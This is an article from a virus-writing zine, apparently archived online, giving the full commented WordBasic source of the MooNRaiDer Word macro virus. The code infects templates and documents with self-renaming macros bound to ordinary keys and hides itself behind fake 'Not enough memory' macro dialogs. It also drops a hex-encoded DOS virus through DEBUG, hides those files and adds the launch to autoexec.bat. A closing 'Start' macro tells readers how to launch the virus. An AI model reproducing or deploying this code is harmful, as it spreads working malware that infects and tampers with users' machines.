Copy Link
Add to Bookmark
Report
SLAM.009: WordMacro/MooNRaiDer virus
[ WordMacro. MooNRaiDer ]
-------------------------------------------------------------------------
˛ VIRUSNAME: MooNRaiDer
˛ SIZE: 14806 Bytes (5 Makros)
˛ ORIGIN: Germany
˛ AUTHOR: Nightmare Joker
->Polymorf Yes
->Stealth Yes
->Encrypted Yes, this file not but see virii.zip for encrypted version.
->Retro No
---------------------------------------------------------------------------
Macro SH8004
---------------------------------------------------------------------------
Sub MAIN
On Error Goto Done
A$ = FileName$() 'Is a file open?
If A$ = "" Then Goto Finish 'No, then goto end.
If CheckInstalled = 0 Then 'Is the normal.dot infected?
Routine 'If not, then call "Routine", "Crypt",
Crypt 'PayloadMakro and save all.
PayloadMakro
FileSaveAll 1, 1
Else 'If normal.dot is infected
Goto Done 'goto end.
End If
Done:
A$ = FileName$() 'If no file open goto end.
If A$ = "" Then
Goto Finish
Else 'A file is open and the user has pushed
Insert " " 'the Backspace Button. We must now insert
End If 'an empty field.
Finish: 'end.
End Sub
Sub Crypt
One = 7363
Two = 9294
Num = Int(Rnd() * (Two - One) + One)
A$ = Str$(Num) 'Generate now a new numba.
A$ = LTrim$(A$)
Beginn = Hour(Now()) 'Get the hour.
B$ = Str$(Beginn)
B$ = LTrim$(B$)
If B$ = "1" Then C$ = "AZ" 'If it's now 1 o'clock then C$ = "AZ"
If B$ = "2" Then C$ = "BY" 'and so on...
If B$ = "3" Then C$ = "CX"
If B$ = "4" Then C$ = "DW"
If B$ = "5" Then C$ = "EV"
If B$ = "6" Then C$ = "FU"
If B$ = "7" Then C$ = "GT"
If B$ = "8" Then C$ = "HS"
If B$ = "9" Then C$ = "IR"
If B$ = "10" Then C$ = "JQ"
If B$ = "11" Then C$ = "KP"
If B$ = "12" Then C$ = "LO"
If B$ = "13" Then C$ = "MN"
If B$ = "14" Then C$ = "NM"
If B$ = "15" Then C$ = "OL"
If B$ = "16" Then C$ = "PK"
If B$ = "17" Then C$ = "QJ"
If B$ = "18" Then C$ = "RI"
If B$ = "19" Then C$ = "SH"
If B$ = "20" Then C$ = "TG"
If B$ = "21" Then C$ = "UF"
If B$ = "22" Then C$ = "VE"
If B$ = "23" Then C$ = "WD"
If B$ = "00" Then C$ = "XC"
E$ = C$ + A$
ZU$ = GetDocumentVar$("VirNameDoc") 'Get the first macro name.
PG$ = WindowName$() + ":" + ZU$ 'Copy the macro to
MacroCopy PG$, "Global:" + E$ 'normal.dot.
SetProfileString "Intl", "Name2", E$ 'insert the macro name into win.ini
'Now prepare a combination between the Key "e" and the macro.
ToolsCustomizeKeyboard .KeyCode = 69, .Category = 2, .Name = E$,
.Add, .Context = 0
End Sub
Sub Routine
One = 7363
Two = 9295
Num = Int(Rnd() * (Two - One) + One)
A$ = Str$(Num) 'Generate a new numba again.
A$ = LTrim$(A$)
Beginn = Hour(Now()) 'Get the hour.
B$ = Str$(Beginn)
B$ = LTrim$(B$)
If B$ = "1" Then C$ = "AZ" 'If it's 1 o'clock then C$ = "AZ"
If B$ = "2" Then C$ = "BY" 'and so on...
If B$ = "3" Then C$ = "CX"
If B$ = "4" Then C$ = "DW"
If B$ = "5" Then C$ = "EV"
If B$ = "6" Then C$ = "FU"
If B$ = "7" Then C$ = "GT"
If B$ = "8" Then C$ = "HS"
If B$ = "9" Then C$ = "IR"
If B$ = "10" Then C$ = "JQ"
If B$ = "11" Then C$ = "KP"
If B$ = "12" Then C$ = "LO"
If B$ = "13" Then C$ = "MN"
If B$ = "14" Then C$ = "NM"
If B$ = "15" Then C$ = "OL"
If B$ = "16" Then C$ = "PK"
If B$ = "17" Then C$ = "QJ"
If B$ = "18" Then C$ = "RI"
If B$ = "19" Then C$ = "SH"
If B$ = "20" Then C$ = "TG"
If B$ = "21" Then C$ = "UF"
If B$ = "22" Then C$ = "VE"
If B$ = "23" Then C$ = "WD"
If B$ = "00" Then C$ = "XC"
D$ = C$ + A$
UZ$ = GetDocumentVar$("VirName") 'Get the second macro name.
GP$ = WindowName$() + ":" + UZ$ 'Copy it again to normal.dot
MacroCopy GP$, "Global:" + D$
SetProfileString "Intl", "Name", D$ 'insert the name into the win.ini, too.
'Now prepare a combination between the second macro and the Backspace Button
ToolsCustomizeKeyboard .KeyCode = 32, .Category = 2, .Name = D$, .Add, .Context = 0
End Sub
Sub PayloadMakro
One = 7693
Two = 9216
Num = Int(Rnd() * (Two - One) + One)
A$ = Str$(Num) 'Generate a new numba for the third
A$ = LTrim$(A$) 'macro.
Beginn = Hour(Now()) 'Get the hour again.
B$ = Str$(Beginn)
B$ = LTrim$(B$)
If B$ = "1" Then C$ = "AZ" 'And if it's now 1 o'clock then
If B$ = "2" Then C$ = "BY" 'C$ = "AZ"
If B$ = "3" Then C$ = "CX" 'and so on...
If B$ = "4" Then C$ = "DW"
If B$ = "5" Then C$ = "EV"
If B$ = "6" Then C$ = "FU"
If B$ = "7" Then C$ = "GT"
If B$ = "8" Then C$ = "HS"
If B$ = "9" Then C$ = "IR"
If B$ = "10" Then C$ = "JQ"
If B$ = "11" Then C$ = "KP"
If B$ = "12" Then C$ = "LO"
If B$ = "13" Then C$ = "MN"
If B$ = "14" Then C$ = "NM"
If B$ = "15" Then C$ = "OL"
If B$ = "16" Then C$ = "PK"
If B$ = "17" Then C$ = "QJ"
If B$ = "18" Then C$ = "RI"
If B$ = "19" Then C$ = "SH"
If B$ = "20" Then C$ = "TG"
If B$ = "21" Then C$ = "UF"
If B$ = "22" Then C$ = "VE"
If B$ = "23" Then C$ = "WD"
If B$ = "00" Then C$ = "XC"
K$ = C$ + A$
ZUZ$ = GetDocumentVar$("VirNamePayload") 'so, we need the third macro name.
GP$ = WindowName$() + ":" + ZUZ$
MacroCopy GP$, "Global:" + K$ 'Copy it to normal.dot.
SetProfileString "Intl", "Name3", K$ 'insert the name into the win.ini
'Copy the ToolsMacro (macro for the english version of word) and the
'ExtrasMakro (macro for the german version of word) to normal.dot.
MacroCopy WindowName$() + ":ToolsMacro", "Global:ToolsMacro"
MacroCopy WindowName$() + ":ExtrasMakro", "Global:ExtrasMakro"
End Sub
Function CheckInstalled 'Is normal.dot infected?
CC$ = GetProfileString$("Intl", "Name") 'Get the macro name.
CheckInstalled = 0 'Set CheckInstalled to 0.
If CountMacros(0) > 0 Then
For i = 1 To CountMacros(0) 'If there any macro's
If MacroName$(i, 0) = CC$ Then 'search the virus macro
CheckInstalled = 1 'If the normal.dot is infected
End If 'CheckInstalled = 1
Next i
End If
End Function
---------------------------------------------------------------------------
Macro SH9272
---------------------------------------------------------------------------
Sub MAIN
On Error Goto Finish 'If there are any error's goto
'end of macro.
A$ = FileName$() 'Is a file open?
If A$ = "" Then Goto Finish 'No, then go to the end.
UZ$ = GetProfileString$("Intl", "Name") 'Get the macro names from
ZU$ = GetProfileString$("Intl", "Name2") 'the win.ini
ZUZ$ = GetProfileString$("Intl", "Name3")
If CheckInstalledDoc = 1 Then 'Is the active file infected?
Goto Finish 'Yes, then goto Finish.
Else
On Error Resume Next
FileSaveAs .Format = 1 'Format the active file to a
Routine '*.dot file.
Crypt 'Now call "Routine", "Crypt",
PayloadMakro 'and "PayloadMakro" and then
FileSaveAll 1, 0 'save all.
End If
Finish:
A$ = FileName$() 'Is a file open?
If A$ = "" Then
Goto Finito 'No, goto end.
Else
Insert "e" 'Yes, then insert a "e" into
End If 'the active file.
Finito:
REM Nothing to do!
Payload_Start:
AK$ = GetProfileString$("Intl", "Name3") 'Get the Payload macro name.
'And start it!
ToolsMacro .Name = AK$, .Run, .Show = 0, .Description = "", .NewName = ""
NO:
End Sub
Sub Crypt
One = 3693
Two = 9917
Num = Int(Rnd() * (Two - One) + One) 'Yeah, and a new numba again.
A$ = Str$(Num)
A$ = LTrim$(A$)
Beginn = Hour(Now()) 'Get the hour again.
B$ = Str$(Beginn)
B$ = LTrim$(B$)
If B$ = "1" Then C$ = "AZ" 'And If it's now 1 o'clock
If B$ = "2" Then C$ = "BY" 'then C$ = "AZ"
If B$ = "3" Then C$ = "CX" 'and so on...
If B$ = "4" Then C$ = "DW"
If B$ = "5" Then C$ = "EV"
If B$ = "6" Then C$ = "FU"
If B$ = "7" Then C$ = "GT"
If B$ = "8" Then C$ = "HS"
If B$ = "9" Then C$ = "IR"
If B$ = "10" Then C$ = "JQ"
If B$ = "11" Then C$ = "KP"
If B$ = "12" Then C$ = "LO"
If B$ = "13" Then C$ = "MN"
If B$ = "14" Then C$ = "NM"
If B$ = "15" Then C$ = "OL"
If B$ = "16" Then C$ = "PK"
If B$ = "17" Then C$ = "QJ"
If B$ = "18" Then C$ = "RI"
If B$ = "19" Then C$ = "SH"
If B$ = "20" Then C$ = "TG"
If B$ = "21" Then C$ = "UF"
If B$ = "22" Then C$ = "VE"
If B$ = "23" Then C$ = "WD"
If B$ = "00" Then C$ = "XC"
E$ = C$ + A$
ZU$ = GetProfileString$("Intl", "Name") 'Get the first macro name.
'Copy the macro to the active
'file.
MacroCopy "Global:" + ZU$, WindowName$() + ":" + E$
SetDocumentVar "VirNameDoc", E$ 'the doc variable "VirNameDoc"
'contains the macro name now.
'Prepare a combination between the Key "e" and the macro.
ToolsCustomizeKeyboard .KeyCode = 69, .Category = 2, .Name = E$, .Add, .Context = 1
End Sub
Sub Routine
One = 7393
Two = 9918
Num = Int(Rnd() * (Two - One) + One) 'And now a new numba.
A$ = Str$(Num)
A$ = LTrim$(A$)
Beginn = Hour(Now()) 'Get the hour again.
B$ = Str$(Beginn)
B$ = LTrim$(B$)
If B$ = "1" Then C$ = "AZ" 'If it's 1 o'clock then
If B$ = "2" Then C$ = "BY" 'C$ = "AZ"
If B$ = "3" Then C$ = "CX" 'and so on...
If B$ = "4" Then C$ = "DW"
If B$ = "5" Then C$ = "EV"
If B$ = "6" Then C$ = "FU"
If B$ = "7" Then C$ = "GT"
If B$ = "8" Then C$ = "HS"
If B$ = "9" Then C$ = "IR"
If B$ = "10" Then C$ = "JQ"
If B$ = "11" Then C$ = "KP"
If B$ = "12" Then C$ = "LO"
If B$ = "13" Then C$ = "MN"
If B$ = "14" Then C$ = "NM"
If B$ = "15" Then C$ = "OL"
If B$ = "16" Then C$ = "PK"
If B$ = "17" Then C$ = "QJ"
If B$ = "18" Then C$ = "RI"
If B$ = "19" Then C$ = "SH"
If B$ = "20" Then C$ = "TG"
If B$ = "21" Then C$ = "UF"
If B$ = "22" Then C$ = "VE"
If B$ = "23" Then C$ = "WD"
If B$ = "00" Then C$ = "XC"
D$ = C$ + A$
UZ$ = GetProfileString$("Intl", "Name2") 'Get the second macro name.
'Copy the macro to the active
'file.
MacroCopy "Global:" + UZ$, WindowName$() + ":" + D$
'the doc variable "VirName"
SetDocumentVar "VirName", D$ 'contains the second macro name
'And now prepare a combination between the Backspace Button and the macro.
ToolsCustomizeKeyboard .KeyCode = 32, .Category = 2, .Name = D$, .Add, .Context = 1
End Sub
Sub PayloadMakro
One = 7369
Two = 9299
Num = Int(Rnd() * (Two - One) + One) 'And we need a numba again.
A$ = Str$(Num)
A$ = LTrim$(A$)
Beginn = Hour(Now()) 'the hour, too.
B$ = Str$(Beginn)
B$ = LTrim$(B$)
If B$ = "1" Then C$ = "AZ" 'And if it's 1 o'clock then
If B$ = "2" Then C$ = "BY" 'C$ = "AZ"
If B$ = "3" Then C$ = "CX" 'and so on...
If B$ = "4" Then C$ = "DW"
If B$ = "5" Then C$ = "EV"
If B$ = "6" Then C$ = "FU"
If B$ = "7" Then C$ = "GT"
If B$ = "8" Then C$ = "HS"
If B$ = "9" Then C$ = "IR"
If B$ = "10" Then C$ = "JQ"
If B$ = "11" Then C$ = "KP"
If B$ = "12" Then C$ = "LO"
If B$ = "13" Then C$ = "MN"
If B$ = "14" Then C$ = "NM"
If B$ = "15" Then C$ = "OL"
If B$ = "16" Then C$ = "PK"
If B$ = "17" Then C$ = "QJ"
If B$ = "18" Then C$ = "RI"
If B$ = "19" Then C$ = "SH"
If B$ = "20" Then C$ = "TG"
If B$ = "21" Then C$ = "UF"
If B$ = "22" Then C$ = "VE"
If B$ = "23" Then C$ = "WD"
If B$ = "00" Then C$ = "XC"
K$ = C$ + A$
ZUZ$ = GetProfileString$("Intl", "Name3") 'Now we need the third macro name.
'Copy the macro to the active file
MacroCopy "Global:" + ZUZ$, WindowName$() + ":" + K$
'the doc variable "VirNamePayload"
SetDocumentVar "VirNamePayload", K$ 'contains now the third macro name.
'Copy the macro's ToolsMacro and ExtrasMakro to the active file.
MacroCopy "Global:ToolsMacro", WindowName$() + ":ToolsMacro"
MacroCopy "Global:ExtrasMakro", WindowName$() + ":ExtrasMakro"
End Sub
Function CheckInstalledDoc 'Is the active file infected?
On Error Resume Next
CC$ = GetDocumentVar$("VirNameDoc") 'Get the virus macro name.
CheckInstalledDoc = 0 'Set CheckInstalledDoc to 0
If CountMacros(1) > 0 Then
For i = 1 To CountMacros(1) 'There are any macros?
If MacroName$(i, 1) = CC$ Then 'Search the virus macro.
CheckInstalledDoc = 1 'If infected CheckInstalledDoc = 1
End If
Next i
End If
End Function
---------------------------------------------------------------------------
Macro SH8185
---------------------------------------------------------------------------
Sub MAIN
On Error Goto Finish
Install 'Call "Install"
If Month(Now()) = 10 And Day(Now()) = 10 Then
Insert 'Call "Insert"
Else
Goto Finish 'goto end of macro.
End If
Finish:
End Sub
Sub Insert
FileNew .Template = "Normal.dot" 'Create a new file.
DocMaximize 'maximize it.
InsertPara 'insert a empty line.
InsertPara
FontSize 16 'Set Fontsize to 16
Bold
ToggleFull 'Use the whole screen
Insert "You are infected with the MooNRaiDer Virus!"
InsertPara
InsertPara
Insert "Greetings to all members of Vlad!"
InsertPara
InsertPara
Insert "I hope that's not the end!"
InsertPara
InsertPara
Insert "The scene would be to boring without this very good group!"
InsertPara
InsertPara
InsertPara
Insert "Nightmare Joker"
End Sub
Sub Install
B$ = GetProfileString$("Vlad", "Goodbye") 'Is the the virus already installed?
If B$ = "Yes" Then Goto Finish 'Yes, then goto end of macro.
ChDir "C:\" 'change directory
Open "goodbye.scr" For Output As #1 'open the "goodbye.scr" file
Print #1, "N GOODBYE.COM" 'and insert the following lines.
Print #1, "E 0100 2B C0 89 C1 48 2A E8 8B D1 D1 C1 8A D0 F7 F1 F7"
Print #1, "E 0110 F1 F7 F1 F7 F1 F7 F1 49 01 C2 F7 F1 F7 F1 F7 F1"
Print #1, "E 0120 92 BE 00 01 B8 BD 51 CD 21 3D 51 BD 74 53 8C D8"
Print #1, "E 0130 01 D0 8E D8 33 FF 80 3D 5A 75 46 81 6D 03 61 00"
Print #1, "E 0140 81 6D 12 61 00 C6 05 4D 03 45 03 40 8E D8 C6 05"
Print #1, "E 0150 5A C7 45 01 08 00 C7 45 03 60 00 40 06 1F 8E C0"
Print #1, "E 0160 FC 56 B9 5C 03 2E F3 A4 1E 8E D9 8E C0 BE 84 00"
Print #1, "E 0170 BF 3D 01 A5 A5 C7 44 FC 26 01 89 44 FE 1F 1E 07"
Print #1, "E 0180 5E 0E 1F 83 FE 10 72 77 BF 01 01 8B 84 57 03 89"
Print #1, "E 0190 45 FF 8B 84 59 03 89 45 01 8A 84 5B 03 88 45 03"
Print #1, "E 01A0 4F 33 C0 FF E7 47 6F 6F 64 62 79 65 20 65 76 65"
Print #1, "E 01B0 72 79 6F 6E 65 21 0D 0A 56 69 72 75 73 65 73 20"
Print #1, "E 01C0 77 65 72 65 20 66 75 6E 2C 20 62 75 74 20 49 27"
Print #1, "E 01D0 76 65 20 67 6F 74 20 6F 74 68 65 72 20 74 68 69"
Print #1, "E 01E0 6E 67 73 20 49 27 64 20 6C 69 6B 65 20 74 6F 20"
Print #1, "E 01F0 64 6F 0D 0A 51 61 72 6B 2F 56 4C 41 44 0D 0A 8C"
Print #1, "E 0200 C0 05 10 00 2E 01 84 24 01 EB 00 06 1F 05 00 00"
Print #1, "E 0210 8E D0 BC 00 00 33 C0 33 DB 33 C9 33 D2 33 F6 33"
Print #1, "E 0220 FE EA 00 00 00 00 86 C4 3D 51 BD 75 01 CF 3C 4B"
Print #1, "E 0230 74 0F 3C 3D 74 0B 3C 43 74 07 86 C4 EA 00 00 00"
Print #1, "E 0240 00 9C 50 53 51 52 56 57 1E 06 FC 80 FC 6C 74 02"
Print #1, "E 0250 89 D6 0E 07 BF 73 03 B4 60 E8 EF 01 73 03 E9 17"
Print #1, "E 0260 01 0E 1F E8 2E 01 72 F6 BA 73 03 B8 02 3D E8 DA"
Print #1, "E 0270 01 72 EB 93 B4 3F B9 18 00 BA 57 03 E8 CC 01 BE"
Print #1, "E 0280 57 03 B9 02 00 E8 76 01 3D B5 6B 74 5F 3D FA 95"
Print #1, "E 0290 74 5A BE 57 03 B9 05 00 E8 63 01 0B C0 74 45 E8"
Print #1, "E 02A0 E2 00 0B D2 75 3E 3D 00 FA 77 39 3D E9 03 72 34"
Print #1, "E 02B0 50 2D 03 00 A3 53 03 58 05 00 01 A3 22 00 B4 40"
Print #1, "E 02C0 B9 5C 03 33 D2 E8 83 01 72 1A E8 BD 00 BE 52 03"
Print #1, "E 02D0 B9 03 00 E8 28 01 A3 55 03 B4 40 B9 05 00 BA 52"
Print #1, "E 02E0 03 E8 67 01 B4 3E E8 62 01 E9 8C 00 BE 57 03 B9"
Print #1, "E 02F0 14 00 E8 09 01 0B C0 74 EB 83 7C 18 40 74 E5 83"
Print #1, "E 0300 7C 0C FF 75 DF 8B 44 0E A3 0E 01 8B 44 10 A3 13"
Print #1, "E 0310 01 8B 44 14 A3 22 01 8B 44 16 A3 24 01 E8 64 00"
Print #1, "E 0320 B9 10 00 F7 F1 2B 44 08 89 54 14 89 44 16 89 16"
Print #1, "E 0330 22 00 81 C2 F3 05 83 E2 FE 40 89 44 0E 89 54 10"
Print #1, "E 0340 B4 40 B9 5C 03 33 D2 E8 01 01 72 98 E8 35 00 B9"
Print #1, "E 0350 00 02 F7 F1 0B D2 74 01 40 89 44 04 89 54 02 B9"
Print #1, "E 0360 12 00 E8 99 00 89 44 12 E8 1F 00 B4 40 B9 1C 00"
Print #1, "E 0370 89 F2 E8 D6 00 E9 6C FF 07 1F 5F 5E 5A 59 5B 58"
Print #1, "E 0380 9D E9 B6 FE B8 02 42 E9 03 00 B8 00 42 33 C9 99"
Print #1, "E 0390 E8 B8 00 C3 BE 73 03 80 7C 02 2F 74 5F AC 3C 00"
Print #1, "E 03A0 75 FB 4E 89 36 6F 03 FD AC 3C 5C 75 FB FC AD 89"
Print #1, "E 03B0 36 71 03 8B 0E 6F 03 29 F1 E8 42 00 3D D8 0B 74"
Print #1, "E 03C0 3B 3D 7F F0 74 36 3D 88 5E 74 31 3D B2 3C 74 2C"
Print #1, "E 03D0 3D A5 86 74 27 3D 8E BA 74 22 8B 36 6F 03 80 7C"
Print #1, "E 03E0 FC 2E 75 18 83 EE 03 B9 03 00 E8 11 00 3D EB E6"
Print #1, "E 03F0 74 08 3D 05 D1 74 03 E9 02 00 F8 C3 F9 C3 53 51"
Print #1, "E 0400 56 57 E8 1A 00 33 C0 32 FF 8A D8 AC 30 C3 D1 E3"
Print #1, "E 0410 8B 9F F3 03 30 E3 8B C3 E2 ED 5F 5E 59 5B C3 50"
Print #1, "E 0420 51 52 57 BF F3 03 33 C9 33 C0 88 C8 51 B9 08 00"
Print #1, "E 0430 F8 D1 D8 73 03 35 01 A0 E2 F6 89 05 47 47 59 41"
Print #1, "E 0440 81 F9 00 01 75 E2 5F 5A 59 58 C3 9C 2E FF 1E 3D"
Print #1, "E 0450 01 C3 E9 00 00 00 00 CD 20 00 00 00 00 00 00 00"
Print #1, "E 0460 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00"
Print #1, "E 0470 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00"
Print #1, "E 0480 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00"
Print #1, "E 0490 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00"
Print #1, "E 04A0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00"
Print #1, "E 04B0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00"
Print #1, "E 04C0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00"
Print #1, "E 04D0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00"
Print #1, "E 04E0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00"
Print #1, "E 04F0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00"
Print #1, "E 0500 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00"
Print #1, "E 0510 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00"
Print #1, "E 0520 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00"
Print #1, "E 0530 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00"
Print #1, "E 0540 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00"
Print #1, "E 0550 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00"
Print #1, "E 0560 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00"
Print #1, "E 0570 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00"
Print #1, "E 0580 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00"
Print #1, "E 0590 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00"
Print #1, "E 05A0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00"
Print #1, "E 05B0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00"
Print #1, "E 05C0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00"
Print #1, "E 05D0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00"
Print #1, "E 05E0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00"
Print #1, "E 05F0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00"
Print #1, "E 0600 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00"
Print #1, "E 0610 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00"
Print #1, "E 0620 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00"
Print #1, "E 0630 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00"
Print #1, "E 0640 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00"
Print #1, "E 0650 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00"
Print #1, "E 0660 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00"
Print #1, "E 0670 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00"
Print #1, "E 0680 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00"
Print #1, "E 0690 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00"
Print #1, "E 06A0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00"
Print #1, "E 06B0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00"
Print #1, "E 06C0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00"
Print #1, "E 06D0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00"
Print #1, "E 06E0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00"
Print #1, "E 06F0 00 00 00"
Print #1, "RCX"
Print #1, "05F3"
Print #1, "W"
Print #1, "Q"
Close #1 'And now close the file.
Open "goodbye.bat" For Output As #1 'open now the "goodbye.bat" file
Print #1, "@echo off" 'insert now the following lines.
Print #1, "debug < goodbye.scr > nul"
Print #1, "@echo off"
Print #1, "attrib goodbye.* +h"
Close #1 'Close it!
Shell "goodbye.bat", 0 'start the file now.
On Error Goto Finish
Open "c:\autoexec.bat" For Append As #1 'open the "autoexec.bat" file
Print #1, "@echo off" 'and insert the "Dos" virus name
Print #1, "goodbye.com" 'to start it.
Close #1 'And close it.
SetProfileString "Vlad", "Goodbye", "Yes" 'The virus is now installed.
Finish: 'end of macro.
End Sub
----------------------------------------------------------------------------
Macro ToolsMacro
----------------------------------------------------------------------------
Sub MAIN
Dim ComboBox1$(0)
ComboBox1$(0) = ""
Dim ListBox1$(0)
ListBox1$(0) = ""
Dim DropListBox2$(0)
DropListBox2$(0) = "Normal.dot"
Begin Dialog UserDialog 442, 320, "Macro"
PushButton 290, 14, 141, 21, "Rec&ord...", .Definierbar2
CancelButton 290, 43, 141, 21
PushButton 290, 72, 141, 21, "&Run", .Definierbar3
PushButton 290, 102, 141, 21, "&Edit", .Definierbar4
PushButton 290, 130, 141, 21, "&Delete", .Definierbar5
PushButton 290, 166, 141, 21, "Or&ganizer...", .Definierbar6
ComboBox 7, 23, 269, 194, ComboBox1$(), .ComboBox1
Text 6, 223, 93, 13, "Macros &Available In:", .Text1
Text 7, 259, 109, 13, "Descr&iption:", .Text2
Text 7, 6, 93, 13, "Macros:", .Text3
ListBox 7, 276, 425, 38, ListBox1$(), .ListBox1
DropListBox 6, 238, 425, 19, DropListBox2$(), .ListBox2
End Dialog
Redim dlg As UserDialog
x = Dialog(dlg)
Select Case x
Case 0
Cancel
Case 1
MsgBox "Not enough memory", "WordBasic Err = 7"
Case 2
MsgBox "Not enough memory", "WordBasic Err = 7"
Case 3
MsgBox "Not enough memory", "WordBasic Err = 7"
Case 4
MsgBox "Not enough memory", "WordBasic Err = 7"
Case 5
MsgBox "Not enough memory", "WordBasic Err = 7"
End Select
End Sub
'OK, I know that's not the best solution, but it works and I will improve
'it soon.
----------------------------------------------------------------------------
Macro ExtrasMakro
----------------------------------------------------------------------------
Sub MAIN
Dim ComboBox1$(0)
ComboBox1$(0) = ""
Dim ListBox1$(0)
ListBox1$(0) = ""
Dim DropListBox2$(0)
DropListBox2$(0) = "Normal.dot"
Begin Dialog BenutzerDialog 442, 320, "Makro"
PushButton 290, 14, 141, 21, "Aufz&eichnen...", .Definierbar2
CancelButton 290, 43, 141, 21
PushButton 290, 72, 141, 21, "&Ausf¸hren", .Definierbar3
PushButton 290, 102, 141, 21, "&Erstellen", .Definierbar4
PushButton 290, 130, 141, 21, "Lˆschen...", .Definierbar5
PushButton 290, 166, 141, 21, "&Organisieren...", .Definierbar6
ComboBox 7, 23, 269, 194, ComboBox1$(), .ComboBox1
Text 6, 223, 93, 13, "&Makros aus:", .Text1
Text 7, 259, 109, 13, "Beschreibung:", .Text2
Text 7, 6, 93, 13, "Makro&name:", .Text3
ListBox 7, 276, 425, 38, ListBox1$(), .ListBox1
DropListBox 6, 238, 425, 19, DropListBox2$(), .ListBox2
End Dialog
Redim dlg As BenutzerDialog
x = Dialog(dlg)
Select Case x
Case 0
Abbrechen
Case 1
MsgBox "Nicht genÅgend Arbeitsspeicher!", "WordBasic Err = 7"
Case 2
MsgBox "Nicht genÅgend Arbeitsspeicher!", "WordBasic Err = 7"
Case 3
MsgBox "Nicht genÅgend Arbeitsspeicher!", "WordBasic Err = 7"
Case 4
MsgBox "Nicht genÅgend Arbeitsspeicher!", "WordBasic Err = 7"
Case 5
MsgBox "Nicht genÅgend Arbeitsspeicher!", "WordBasic Err = 7"
End Select
End Sub
'A better ToolsMacro and ExtrasMakro box will be here soon.
----------------------------------------------------------------------------
Macro Start => you need this macro only to start the virus
----------------------------------------------------------------------------
'At first you must copy all macros to a new file and start then
'the "start" macro.
Sub MAIN
ToolsCustomizeKeyboard .KeyCode = 32, .Category = 2, .Name = "SH8004",
.Add, .Context = 3
ToolsCustomizeKeyboard .KeyCode = 69, .Category = 2, .Name = "SH9272",
.Add, .Context = 3
End Sub
------------------------------------------------------------------------------- NJ --
njoker@hotmail.com
